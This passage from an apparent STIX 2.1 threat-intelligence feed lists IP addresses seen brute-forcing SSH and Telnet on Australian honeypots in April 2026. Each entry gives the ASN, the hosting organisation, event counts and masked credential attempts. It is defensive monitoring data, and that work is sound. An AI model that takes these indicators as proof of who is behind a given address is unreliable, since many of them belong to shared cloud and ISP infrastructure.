      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******6, A**********8, S********4.",
      "id": "indicator--5ab3537f-8720-4aa9-b9e5-fe341156870b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.32.240.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:15:05.000Z",
      "valid_until": "2026-05-05T05:15:03.000Z"
    },
    {
      "created": "2026-04-03T05:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 170. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A********!, a*******., a******e.",
      "id": "indicator--dea68e21-40a6-4164-bcae-7e5b4f4928dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.36.122.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:15:05.000Z",
      "valid_until": "2026-05-05T05:15:03.000Z"
    },
    {
      "created": "2026-04-03T05:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 401701. Organisation(s): cognetcloud INC. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--140b1210-eeb6-44c0-8efc-60d1f1a26524",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '156.225.31.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:15:05.000Z",
      "valid_until": "2026-05-05T05:15:03.000Z"
    },
    {
      "created": "2026-04-03T05:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--6a00c25f-11c7-48f9-bfef-9862879271f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:15:05.000Z",
      "valid_until": "2026-05-05T05:15:03.000Z"
    },
    {
      "created": "2026-04-03T05:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 152586. Organisation(s): Kuroit. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, a*******., h*******5, p*****e.",
      "id": "indicator--2ca3f3e7-a2c0-4d35-85c5-cb5fcec03d47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '216.180.127.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T05:15:05.000Z",
      "valid_until": "2026-05-05T05:15:03.000Z"
    },
    {
      "created": "2026-04-03T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: US. Usernames observed (masked): ***, a***n, s**d. Passwords observed (masked): ***, a***n, s**d.",
      "id": "indicator--e0ca3ef7-1cf3-441f-9615-3f5613aae3f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.253.74.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T06:15:05.000Z",
      "valid_until": "2026-05-05T06:15:03.000Z"
    },
    {
      "created": "2026-04-03T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A********4, A*******8, G*******6.",
      "id": "indicator--327c7199-a62d-4e90-a7c6-7faae281d831",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '128.1.132.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T06:15:05.000Z",
      "valid_until": "2026-05-05T06:15:03.000Z"
    },
    {
      "created": "2026-04-03T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--592b9147-6e79-4597-9fae-72c34d0848ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T06:15:05.000Z",
      "valid_until": "2026-05-05T06:15:03.000Z"
    },
    {
      "created": "2026-04-03T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--c1dbd97b-71e0-413d-8975-504a544b8a99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '218.146.163.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T06:15:05.000Z",
      "valid_until": "2026-05-05T06:15:03.000Z"
    },
    {
      "created": "2026-04-03T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--22365f69-1d12-48f5-ada1-099ff02833b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T06:15:05.000Z",
      "valid_until": "2026-05-05T06:15:03.000Z"
    },
    {
      "created": "2026-04-03T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 38513. Organisation(s): PT Aplikanusa Lintasarta. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !****6, 1********!, 3***********4, 3**********4, A*********6.",
      "id": "indicator--12024afd-9943-4d34-bc70-0e49d4fa1ff4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.191.14.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T07:15:11.000Z",
      "valid_until": "2026-05-05T07:15:08.000Z"
    },
    {
      "created": "2026-04-03T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 58461. Organisation(s): CT-HangZhou-IDC.",
      "id": "indicator--7c627d8b-054d-40ae-956c-843a8e92ed5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.231.78.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T07:15:11.000Z",
      "valid_until": "2026-05-05T07:15:08.000Z"
    },
    {
      "created": "2026-04-03T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ca8b7c12-989b-4b73-9075-280e0d018ff7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '124.225.88.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T07:15:11.000Z",
      "valid_until": "2026-05-05T07:15:08.000Z"
    },
    {
      "created": "2026-04-03T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0**1, 3***********4, 3**********4, A**********6, A********3.",
      "id": "indicator--73991aa1-e516-4c45-95dc-11a2b11a4ed5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '151.33.87.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T07:15:11.000Z",
      "valid_until": "2026-05-05T07:15:08.000Z"
    },
    {
      "created": "2026-04-03T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EG. ASN(s): 36992. Organisation(s): Etisalat Misr. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, P**********4, P********0, Q*********3.",
      "id": "indicator--ce2bdeec-11e3-4a45-a569-ad47a7f57659",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.236.187.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T07:15:11.000Z",
      "valid_until": "2026-05-05T07:15:08.000Z"
    },
    {
      "created": "2026-04-03T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Passwords observed (masked): 1****6.",
      "id": "indicator--84f93de3-0c95-474b-ae2c-e5e5ef58d4e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '167.71.146.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T07:15:11.000Z",
      "valid_until": "2026-05-05T07:15:08.000Z"
    },
    {
      "created": "2026-04-03T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 33977. Organisation(s): Banat Telecom Satelit S.R.L..",
      "id": "indicator--828943b8-c47c-47bc-9968-e68c3ff3ab69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.244.111.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T07:15:11.000Z",
      "valid_until": "2026-05-05T07:15:08.000Z"
    },
    {
      "created": "2026-04-03T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 263546. Organisation(s): TURBONETT TELECOMUNICACOES LTDA. - ME. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, P**********5, q*****3, q*****1.",
      "id": "indicator--5cda55f0-7c1a-41e0-850a-25f0c11ae4bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '191.6.25.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T07:15:11.000Z",
      "valid_until": "2026-05-05T07:15:08.000Z"
    },
    {
      "created": "2026-04-03T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 9930. Organisation(s): TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********4, 0**1, 3***********4, 3**********4, H*******!.",
      "id": "indicator--aeec07a6-58eb-44ce-ad16-ba7f1ab9abc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.121.40.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T07:15:11.000Z",
      "valid_until": "2026-05-05T07:15:08.000Z"
    },
    {
      "created": "2026-04-03T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--27cf094c-4c64-43a0-bfdf-ae1b184d3968",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '222.112.46.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T07:15:11.000Z",
      "valid_until": "2026-05-05T07:15:08.000Z"
    },
    {
      "created": "2026-04-03T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--cb4e1519-c299-4ab1-a7f3-35cbe9b5ff30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '49.72.111.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T07:15:11.000Z",
      "valid_until": "2026-05-05T07:15:08.000Z"
    },
    {
      "created": "2026-04-03T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 200350. Organisation(s): Yandex.Cloud LLC.",
      "id": "indicator--25c2c4c8-5595-4c53-b530-43bbdbab82e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '158.160.183.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T09:15:11.000Z",
      "valid_until": "2026-05-05T09:15:09.000Z"
    },
    {
      "created": "2026-04-03T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0****************r, 3***********4, 3**********4, K*******6, a*****7.",
      "id": "indicator--b06a2c4a-d2d0-4e88-b7db-6363b1551ecc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '173.249.41.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T09:15:11.000Z",
      "valid_until": "2026-05-05T09:15:09.000Z"
    },
    {
      "created": "2026-04-03T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--fff1d304-a9ad-41c2-9f98-e96c47ac60c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '42.58.226.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T09:15:11.000Z",
      "valid_until": "2026-05-05T09:15:09.000Z"
    },
    {
      "created": "2026-04-03T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 215859. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): r**t, ***, n***x, o****e, o***r. Passwords observed (masked): 1****6, a****3, !******r, 1****1, ***.",
      "id": "indicator--997a0f9c-1e6b-445e-a9b9-fde438466e82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.223.49.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T09:15:11.000Z",
      "valid_until": "2026-05-05T09:15:09.000Z"
    },
    {
      "created": "2026-04-03T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 155. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): u****u, r**t, ***, j**o, ***. Passwords observed (masked): v*******r, e******m, j**o, n**e, s****a.",
      "id": "indicator--3393dc3e-66b7-41a3-b0f7-f9544eefcf90",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T09:15:11.000Z",
      "valid_until": "2026-05-05T09:15:09.000Z"
    },
    {
      "created": "2026-04-03T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17622. Organisation(s): China Unicom Guangzhou network.",
      "id": "indicator--673a7ccf-4f5b-4ced-80fd-69a74c7fd61b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.249.175.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T10:15:11.000Z",
      "valid_until": "2026-05-05T10:15:08.000Z"
    },
    {
      "created": "2026-04-03T11:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, G*******6, H*******6, N***S.",
      "id": "indicator--12c49a5e-66cf-4198-a583-a5de58faa759",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T11:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.36.119.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T11:15:15.000Z",
      "valid_until": "2026-05-05T11:15:08.000Z"
    },
    {
      "created": "2026-04-03T11:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--36ea5911-b6dd-4424-b365-5db0d5db5b45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T11:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T11:15:15.000Z",
      "valid_until": "2026-05-05T11:15:08.000Z"
    },
    {
      "created": "2026-04-03T11:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 51852. Organisation(s): Private Layer INC.",
      "id": "indicator--ebcb2077-ded4-4178-8f3e-918e76c41222",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T11:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.43.186.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T11:15:15.000Z",
      "valid_until": "2026-05-05T11:15:08.000Z"
    },
    {
      "created": "2026-04-03T11:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--c56c651d-fbc7-4369-8be5-c5a178a74944",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T11:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T11:15:15.000Z",
      "valid_until": "2026-05-05T11:15:08.000Z"
    },
    {
      "created": "2026-04-03T11:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 44395. Organisation(s): Ucom CJSC. Usernames observed (masked): r**t, s********r. Passwords observed (masked): , Z****1, i***v, s********r.",
      "id": "indicator--87c1dc05-a0cc-4043-812b-7e55d4e1d9cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T11:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.252.69.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T11:15:15.000Z",
      "valid_until": "2026-05-05T11:15:08.000Z"
    },
    {
      "created": "2026-04-03T11:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BG. ASN(s): 50360. Organisation(s): Tamatiya EOOD.",
      "id": "indicator--257c6f92-bcb1-423a-8050-08c8ea8b0e73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T11:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '78.128.114.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T11:15:15.000Z",
      "valid_until": "2026-05-05T11:15:08.000Z"
    },
    {
      "created": "2026-04-03T11:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--579bb2b6-8910-4dc9-9673-dbb169a48dd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T11:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.219.209.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T11:15:15.000Z",
      "valid_until": "2026-05-05T11:15:08.000Z"
    },
    {
      "created": "2026-04-03T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--f7eca772-fd4b-459e-a4d1-e3d175fa3f90",
